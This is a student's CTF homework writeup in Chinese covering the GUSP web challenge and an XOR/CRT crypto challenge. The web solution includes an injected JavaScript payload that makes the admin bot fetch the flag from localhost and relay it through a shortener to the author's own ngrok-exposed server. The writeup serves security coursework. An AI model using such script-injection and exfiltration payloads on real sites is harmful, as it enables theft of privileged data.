# Programing Security 2023 Writeup HW > User ID : tyctyc StuID : 112550150 ## Web - ### GUSP > GUSP是一個自訂的協議,所以題目要求要寫出一個 Server 端,並且查看題目原始碼中的 testCase ,可以看到總共需要通過 5 個 testcases 才能建立服務在那上面 > 進去首頁看到 ![](https://hackmd.io/_uploads/r1N0vkl1T.png) > 點選 Add Your GUSP API 發現權限不足,查看後端邏輯後,發現只要有 authenticated 這個 Cookie 就可以進入 ```javascript=71 app.post('/add-api', async (req, res) => { if (!req.cookies['authenticated']) return res.send("You are not authenticated"); ``` >新增時的畫面還可以讓你免費插入 JavaScript,也就是在使用者被短網址重新導向之前,可以先執行一段 javascript ![](https://hackmd.io/_uploads/ryft_JgJT.png) > 看到這裡一定是要寫一個 Server 端出來了,所以就開始研究一些必要的參數以及要處裡的東西 e.g. 1. 可能會有兩種不同長度的回應 ```javascript=93 testCases.map(({ original, alias }) => new Promise((resolve, reject) => { const body = alias === null ? `[gusp]URL|${original.length}|${original}[/gusp]` : `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`; ``` 2. 回應的 Header Content-Type 必須也是 application/gusp ```javascript=102 }).then(res => { if (!res.headers.get('Content-Type').startsWith('application/gusp')) { reject(new Error(`Should return Content-Type: application/gusp`)); } ``` 3. 回傳 GUSP 協定時,必須也包含該短網址 ID 之長度 ```javascript=107 }).then(async res => { const [status, length, content] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|'); if (+length !== content.length) { reject(new Error(`Length mismatch: ${length} vs ${content.length}`)); } ``` 4. 短網址ID如果是自行生產的,必須符合以下規範 ```/[^A-Za-z0-9_-]/``` ```javascript=113 if (content.match(/[^A-Za-z0-9_-]/)) { reject(new Error(`Invalid alias format ${content}: should only contain A-Za-z0-9_-`)); } ``` 5. 如果是不重複短網址ID建立要求,必須在狀態訊息中寫入 SUCCESS ```[gusp]SUCCESS|短網址長度|短網址ID[/gusp]``` ```javascript=117 if (status !== 'SUCCESS') { reject(new Error(`Should return SUCCESS for non-duplicated alias`)); } ``` 6. testCase會故意送出一個重複的建立請求,必須要給予狀態訊息 ERROR 並且阻擋建立 ```javascript=138 } else if (testMode === 4) { // create a duplicated alias const body = `[gusp]URL|${original.length}|${original}|${alias}[/gusp]`; const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/gusp', }, body }).then(res => res.text()); const [status, _, __] = res.match(/\[gusp\]([^\[]+)\[\/gusp\]/)[1].split('|'); if (status !== 'ERROR') { reject(new Error(`Should return ERROR for duplicated alias`)); } ``` 7. 不存在要回應 404 status code ```javascript=132 } else if (testMode === 3) { // visit a non-exist alias const redirect = await fetch(new URL(url + '/' + randStr(randInt(3, 10))), { redirect: 'manual' }); if (redirect.status !== 404) { reject(new Error(`Should return 404 for non-exist alias`)); } ``` 8. 成功找到短網址ID應該要回應 302 status code 並給予 Location Header ```javascript=122 if (testMode <= 2) { // normal visit const redirect = await fetch(new URL(url + '/' + content), { redirect: 'manual' }); if (redirect.status !== 302) { reject(new Error(`Should redirect with status 302`)); } const location = redirect.headers.get('Location').trim(); if (location !== original) { reject(new Error(`${content}: Should redirect to ${original}, but got ${location}`)); } ``` > 好了,寫完之後長這樣 ```javascript= from flask import Response,Flask,request import re import random,string app = Flask(__name__) shortdb = {} def shortGen(): return str(random.randint(0, 3))+''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k=random.randint(3, 10))) @app.route('/shorten',methods=["POST"]) def shortened(): reqGusp = str(request.data)[8:-8].split("|") try: if shortdb.get(reqGusp[3]): print("==== Detect Duplicate Requests ====") a_error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]" return Response(a_error_xml, mimetype='application/gusp') except: pass if len(reqGusp) == 3: tmpId = shortGen() print("3=== " + tmpId + " ===3") shortdb[tmpId] = reqGusp[2] xml = f"[gusp]SUCCESS|{len(tmpId)}|{tmpId}[/gusp]" return Response(xml, mimetype='application/gusp') elif len(reqGusp) == 4: print("4=== " + reqGusp[3] + " ===4") shortdb[reqGusp[3]] = reqGusp[2] xml = f"[gusp]SUCCESS|{len(reqGusp[3])}|{reqGusp[3]}[/gusp]" return Response(xml, mimetype='application/gusp') else: print("Error") @app.route('/shorten/<shortened_id>', methods=['GET']) def get_original_url(shortened_id): original_url = shortdb.get(shortened_id) if original_url: return Response(mimetype='text/html',headers={"Location": f"{original_url}",'Access-Control-Allow-Origin':'*'}), 302 else: error_xml = "[gusp]ERROR|21|Shortened ID not found[/gusp]" return Response(error_xml, mimetype='application/gusp'), 404 @app.route('/flag', methods=['POST']) def fake(): print(request.data) return "flaag{fake}" # 一些測試的API @app.route('/text', methods=['GET']) def ddd(): return "flaag{fake}" if __name__ == '__main__': app.run(debug=True,host="0.0.0.0") ``` #### 把環境跑起來 有對 Dockerfile 做 Patch :::spoiler Docker File ```dockerfile= FROM alpine # Installs latest Chromium (100) package. RUN apk add --no-cache \ chromium \ nss \ freetype \ harfbuzz \ ca-certificates \ ttf-freefont \ nodejs \ yarn # Tell Puppeteer to skip installing Chrome. We'll be using the installed package. ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser # Puppeteer v13.5.0 works with Chromium 100. RUN yarn add puppeteer@13.5.0 # Add user so we don't need --no-sandbox. RUN addgroup -S pptruser && adduser -S -G pptruser pptruser \ && mkdir -p /home/pptruser/Downloads /app \ && chown -R pptruser:pptruser /home/pptruser \ && chown -R pptruser:pptruser /app # Run everything after as non-privileged user. USER pptruser WORKDIR /app COPY ./ /app RUN yarn install CMD ["yarn", "start"] ``` ::: ![](https://hackmd.io/_uploads/SJ08FGxkp.png) #### 神秘的路徑們 兩個路徑都沒有在頁面上顯示 - /flag - 要拿到 flag 必須要是有特定 Header 以及 req.ip 要等於本機IP ```javascript=28 app.get('/flag', (req, res) => { // only allow localhost users to get the flag -- which is the bot // bot? see /report handler if (req.headers['give-me-the-flag'] === 'yes' && req.ip.endsWith('127.0.0.1')) { return res.send(flag); } res.send('No flag for you'); }); ``` - /report - 可以向一個模擬的 Admin 瀏覽器去瀏覽建立好的 GUSP API, Admin 是從 127.0.0.1 發出的 #### 嘗試的過程 Payload進化史圖,對於Javascript熟悉度待加強 同時也有參考之前我打過的 picoCTF XSS 的 [writeup](https://ctftime.org/writeup/32928) ![](https://hackmd.io/_uploads/SJ2Cwzeya.png) 1. 想要用一個 API 來回傳所有東西,但後來碰到了 CORS 的問題。當時的想法是,讓Bot造訪/flag 之後,直接再送出flag到外部的伺服器 2. 發現腳本執行不了,換成比地端跑,發現忘記指定 fetch 的 method 為 GET 3. 想到可以將回傳的 flag 再次傳送到 127.0.0.1:3000/創好的API/flag,實現如下 - 1. 先建立一個空白的API ![](https://hackmd.io/_uploads/BkC_uzlJ6.png) - 2. 建立釣魚腳本API ![](https://hackmd.io/_uploads/r1gOdMgJp.png) ```javascript= fetch('http://127.0.0.1:3000/flag', {method: 'GET', headers: {'give-me-the-flag': 'yes'}}).then(response => response.text()).then(data => setTimeout(() => { fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}`, { credentials: "include", method: "GET", }); }, 200)); ``` 可以將 ```fbebee13-76b6-4919-98e5-39ba33733145``` 替換成剛剛創建的另一個空白API 這樣一來當Admin訪問 ```fetch(`http://127.0.0.1:3000/fbebee13-76b6-4919-98e5-39ba33733145/${data}```時,就可以將flag利用短網址ID這個欄位的方式傳送請求到我的API Server,即可接收到FLAG - 3. 坐等flag Flask ![](https://hackmd.io/_uploads/B1NovMeJ6.png) Ngrok ![](https://hackmd.io/_uploads/Sy9oPGxkp.png) ## Crypto ### Extrem Xorrrrr ```python= from Crypto.Util.number import long_to_bytes, inverse def xorrrrr(nums): n = len(nums) result = [0] * n for i in range(1, n): result = [ result[j] ^ nums[(j+i) % n] for j in range(n)] return result hint = [297901710, 2438499757, 172983774, 2611781033, 2766983357, 1018346993, 810270522, 2334480195, 154508735, 1066271428, 3716430041, 875123909, 2664535551, 2193044963, 2538833821, 2856583708, 3081106896, 2195167145, 2811407927, 3794168460] muls = [865741, 631045, 970663, 575787, 597689, 791331, 594479, 857481, 797931, 1006437, 661791, 681453, 963397, 667371, 705405, 684177, 736827, 757871, 698753, 841555] mods = [2529754263, 4081964537, 2817833411, 3840103391, 3698869687, 3524873305, 2420253753, 2950766353, 3160043859, 2341042647, 4125137273, 3875984107, 4079282409, 2753416889, 2778711505, 3667413387, 4187196169, 3489959487, 2756285845, 3925748705] hint = xorrrrr(hint) muls = xorrrrr(muls) mods = xorrrrr(mods) from functools import reduce def egcd(a, b): """歐幾里德展開""" if 0 == b: return 1, 0, a x, y, q = egcd(b, a % b) x, y = y, (x - a // b * y) return x, y, q def chinese_remainder(pairs): """中國餘式定理""" mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs] mod_product = reduce(lambda x, y: x * y, mod_list) mi_list = [mod_product//x for x in mod_list] mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))] x = 0 for i in range(len(remainder_list)): x += mi_list[i] * mi_inverse[i] * remainder_list[i] x %= mod_product return x ans = [] for i in range(20): ans.append(hint[i] * pow(muls[i],-1,mods[i])% mods[i]) bb = [] for i in range(20): bb.append((mods[i],ans[i])) print(bb) print(long_to_bytes(chinese_remainder(bb))) ```